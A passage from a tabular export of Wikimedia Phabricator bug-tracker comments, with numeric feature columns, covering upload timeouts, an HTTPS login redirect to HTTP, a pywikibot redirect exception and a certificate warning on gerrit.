URL

... anyway, pretty sure the overall HTTP request timeout for the GWT is 90s and this is definitely to short to download for example 200 MB over 10Mb/s bandwidth."
583871,"""HTTP request timed out"" for large files","> Because of that bug we have GLAM partners stuck in their upload processes. 

More information welcome.",,,1450965192,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,3,True,,,25,True,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,5.0,1.0,"QUOTE

More information welcome."
583357,"""HTTP request timed out"" for large files","It looks like the current timeout is 90s, it should be more something like 1200s. Because of that bug we have  GLAM partners stuck in their upload processes. We should raise the priority of that bug.",,,1450890347,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,3,False,,,24,True,0.0,2.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,12.0,15.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.8048780487804879,"It looks like the current timeout is 90s, it should be more something like 1200s. Because of that bug we have  GLAM partners stuck in their upload processes. We should raise the priority of that bug."
401661,"""HTTP request timed out"" for large files",I have started uploading these files manually (well using python). The underlying problem in GWToolset still remains though.,,,1421768397,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-mlrmob7b3nme5kaxvgsa,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.863636363636363,0.9545454545454546,I have started uploading these files manually (well using python). The underlying problem in GWToolset still remains though.
85326,shinken.wmflabs.org redirects on https-login to http,the POST-answer after logging in with HTTPS via https://shinken.wmflabs.org/user/login redirects one to HTTP.,High,80.0,1419534643,1597679476.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-tr6rfwdwnschtceog6d4,task_description,resolved,True,c3,1,True,False,False,-27,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,31.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.875,1.0,the POST-answer after logging in with HTTPS via URL redirects one to HTTP.
1563536,shinken.wmflabs.org redirects on https-login to http,The shinken project has been closed and deleted.,,,1597679476,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,267,True,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,1.0,The shinken project has been closed and deleted.
625968,shinken.wmflabs.org redirects on https-login to http,"Upstream ticket is closed and says ""can you try webui2 instead ? and make a PR for the new webui2 if you encounter this issue with this version ?""",,,1457479232,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,35,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,10.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,6.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,10.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.806451612903226,0.8064516129032258,"Upstream ticket is closed and says ""can you try webui2 instead ? and make a PR for the new webui2 if you encounter this issue with this version ?"""
564262,shinken.wmflabs.org redirects on https-login to http,"I don't really know what's going on upstream but it sounds like a load of things have been changed, the patch might not still be valid.",,,1447778274,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,19,True,0.0,0.0,0.0,3.0,7.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6666666666666665,1.0,"I don't really know what's going on upstream but it sounds like a load of things have been changed, the patch might not still be valid."
545478,shinken.wmflabs.org redirects on https-login to http,https://github.com/naparuba/shinken/pull/1724,,,1444706288,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
545477,shinken.wmflabs.org redirects on https-login to http,"I did a bit of digging through the shinken source code and found https://github.com/naparuba/shinken/blob/master/shinken/webui/bottlewebui.py#L997
Whereas it's supposed to check HTTP_X_FORWARDED_PROTO like http://bottlepy.org/docs/dev/_modules/bottle.html#BaseRequest.url",,,1444706029,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,17.0,0.0,4.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,17.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.625,0.9583333333333334,"I did a bit of digging through the shinken source code and found URL
Whereas it's supposed to check HTTP_X_FORWARDED_PROTO like URL"
545468,shinken.wmflabs.org redirects on https-login to http,"When you POST that login form, it returns HTTP 303 See Other with the http: location.",,,1444702562,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tr6rfwdwnschtceog6d4,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,5.0,5.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6842105263157894,1.0,"When you POST that login form, it returns HTTP 303 See Other with the http: location."
78123,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"```
>>> http.fetch(uri='http://getstatuscode.com/301')
Exception in thread Thread-1:
Traceback (most recent call last):
  File ""/usr/lib64/python2.7/threading.py"", line 811, in __bootstrap_inner
    self.run()
  File ""pywikibot/comms/threadedhttp.py"", line 486, in run
    item.data = self.http.request(*item.args, **item.kwargs)
  File ""pywikibot/comms/threadedhttp.py"", line 254, in request
    uri, method, body, headers, response, content, max_redirects)
  File ""pywikibot/comms/threadedhttp.py"", line 273, in _follow_redirect
    response, content)
RedirectMissingLocation: Redirected but the response is missing a Location: header.
```

And the main thread doesnt return.

This exception is thrown by threadedhttp, whereas threadedhttp normally returns the exception to be passed back to the main thread.",High,80.0,1418191715,1433512651.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-wia5aomivmjvpvurekei,task_description,resolved,True,c3,1,True,True,True,-30,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,8.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.135135135135135,0.6756756756756757,"``CODE``

And the main thread doesnt return.

This exception is thrown by threadedhttp, whereas threadedhttp normally returns the exception to be passed back to the main thread."
469863,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"The original bug was resolved in 35936a7abfdd9531073215994f5376d3ed2004df and another problem was fix in d398fdc56e2601659088a60aa199224cb247f9cd (with more general problem detection added), but the actual broader problem probably wasnt fixed.
However httplib2 has been replaced by requests, and boarder solutions are not needed for the 2.0 branch, and the possible re-introduction of httplib2 support would be a cut down implementation without follow support as it isnt needed according to my inquiries (see last comment on this bug) and the test suit confirms this with the minimal implementation on the table (https://gerrit.wikimedia.org/r/#/c/215603/ ).
So nothing left to do here.",,,1433512651,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,3.0,0.5,5.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,4.5,11.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,1.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,0.0,15.5,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,5.5,4.5,3.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,2.0,11.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,4.896146616541353,0.8142230576441103,"The original bug was resolved in 35936a7abfdd9531073215994f5376d3ed2004df and another problem was fix in d398fdc56e2601659088a60aa199224cb247f9cd (with more general problem detection added), but the actual broader problem probably wasnt fixed.
However httplib2 has been replaced by requests, and boarder solutions are not needed for the 2.0 branch, and the possible re-introduction of httplib2 support would be a cut down implementation without follow support as it isnt needed according to my inquiries (see last comment on this bug) and the test suit confirms this with the minimal implementation on the table (URL ).
So nothing left to do here."
340577,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"ya, we have a try.. catch inside .request , and it returns the exception to be processed by the client.  I think that should not be changed, which is where 503's normally happen.  It would only be unexpected exceptions which would be handled by HttpProcessor.run and result in a new worker being created.

I am also interested in why we need the special follow code.  Im pretty sure it is being used because of %20 -> _ on MediaWiki sites, but that should only be needed for full urls to wiki pages, which is very rare occurrence in pywikibot core these days.",,,1418246578,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,1.0,4.5,0.5,6.0,2.0,1.0,0.0,0.0,2.0,0.0,0.0,1.5,0.0,3.5,0.0,6.5,8.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,6.0,0.5,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,11.5,1.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,3.0,7.0,4.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,6.0,8.0,1.0,0.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,3.825,0.8416666666666667,"ya, we have a try.. catch inside .request , and it returns the exception to be processed by the client.  I think that should not be changed, which is where 503's normally happen.  It would only be unexpected exceptions which would be handled by HttpProcessor.run and result in a new worker being created.

I am also interested in why we need the special follow code.  Im pretty sure it is being used because of %20 -> _ on MediaWiki sites, but that should only be needed for full urls to wiki pages, which is very rare occurrence in pywikibot core these days."
340570,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"Yes, that sounds reasonable. This does have some implications for when we can and cannot re-use a connection, though -- we should prevent spinning up a new connection for typical issues (e.g. 503s).",,,1418245951,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-30,True,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,5.0,10.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.9523809523809526,0.8333333333333334,"Yes, that sounds reasonable. This does have some implications for when we can and cannot re-use a connection, though -- we should prevent spinning up a new connection for typical issues (e.g. 503s)."
340556,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"I was thinking it should be in HttpProcessor.run , which has a try..finally , .. but not catch.  depending on how bad the exception is (and it is best to assume the worst, like some state has been irreparably altered: https://gerrit.wikimedia.org/r/#/c/178789/ ), it would be sensible to replace the dead http worker with a new one.",,,1418245466,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-30,True,2.0,0.0,0.0,2.0,2.0,9.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,9.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,9.0,5.0,2.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,3.6615384615384614,0.7846153846153846,"I was thinking it should be in HttpProcessor.run , which has a try..finally , .. but not catch.  depending on how bad the exception is (and it is best to assume the worst, like some state has been irreparably altered: URL ), it would be sensible to replace the dead http worker with a new one."
340544,exceptions in threadedhttp.Http._follow_redirect cause a lock up,"I think that instead of the current

```
        try:
            (response, content) = httplib2.Http.request(
                self, uri, method, body, headers,
                max_redirects, connection_type
            )
        except Exception as e:  # what types?
            # return exception instance to be retrieved by the calling thread
            return e
```

wrapper, we should actually just wrap all of `def request` with a try-catch block which returns e on error. Does that sound like the right solution to you?",,,1418244166,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,9.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,17.0,3.0,3.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7714285714285714,0.8857142857142857,"I think that instead of the current

``CODE`CODEdef request` with a try-catch block which returns e on error. Does that sound like the right solution to you?"
340422,exceptions in threadedhttp.Http._follow_redirect cause a lock up,Presumably the same happens with 'raise httplib2.RedirectLimit' in the same method.,,,1418235345,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-wia5aomivmjvpvurekei,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.214285714285714,0.7857142857142857,Presumably the same happens with 'raise httplib2.RedirectLimit' in the same method.
76826,User sees TOS when loging in,"on the login screen,
https://metrics.wmflabs.org/login

add this text from labs Terms of Use (TOS)
https://wikitech.wikimedia.org/wiki/Wikitech:Labs_Terms_of_use#If_my_tools_collect_Private_Information...
",High,80.0,1417743822,1420657634.0,PHID-USER-p3bvg5sos3lhe33uou2s,False,PHID-USER-p3bvg5sos3lhe33uou2s,False,PHID-TASK-xzyjz4vczkduv23zmlmy,task_description,duplicate,True,c3,1,True,True,True,-30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8181818181818183,0.8636363636363636,"on the login screen,
URL

add this text from labs Terms of Use (TOS)
URL
"
396321,User sees TOS when loging in,This was accomplished while working on T76107.  This task will be merged into that one.,,,1420657593,,PHID-USER-p3bvg5sos3lhe33uou2s,False,,,PHID-TASK-xzyjz4vczkduv23zmlmy,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,17.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.055555555555555,0.8888888888888888,This was accomplished while working on T76107.  This task will be merged into that one.
76562,Chrome warns about insecure certificate on gerrit.wikimedia.org,"Chrome:
> The identity of this website has been verified by RapidSSL CA but it does not have public audit records.
> The site is using outdated security settings that may prevent future versions of Chrome from being able to safely access it.

{F18152}",High,80.0,1417590103,1422997247.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-bw55vakzcnxdtorfihta,task_description,resolved,True,c3,1,True,False,True,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9,0.8,"Chrome:
QUOTE
QUOTE

{F18152}"
406306,Chrome warns about insecure certificate on gerrit.wikimedia.org,"gerrit.wikimedia.org now has a new globalsign cert that is sha256, resolving.",,,1422997247,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,5.153846153846154,1.0,"gerrit.wikimedia.org now has a new globalsign cert that is sha256, resolving."
406230,Chrome warns about insecure certificate on gerrit.wikimedia.org,"cert has been purchased, the patchset to merge for this is:

https://gerrit.wikimedia.org/r/#/c/188396/

When this happens, someone has to rm the chained file for it to be properly recreated.  I've put in both Daniel and Chad to possibly review my patch (I rather not be the only set of eyes)",,,1422987166,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-22,True,0.0,2.0,0.0,3.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,5.0,0.0,8.0,14.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,7.0,10.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,7.0,14.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5084745762711864,0.7966101694915254,"cert has been purchased, the patchset to merge for this is:

URL

When this happens, someone has to rm the chained file for it to be properly recreated.  I've put in both Daniel and Chad to possibly review my patch (I rather not be the only set of eyes)"
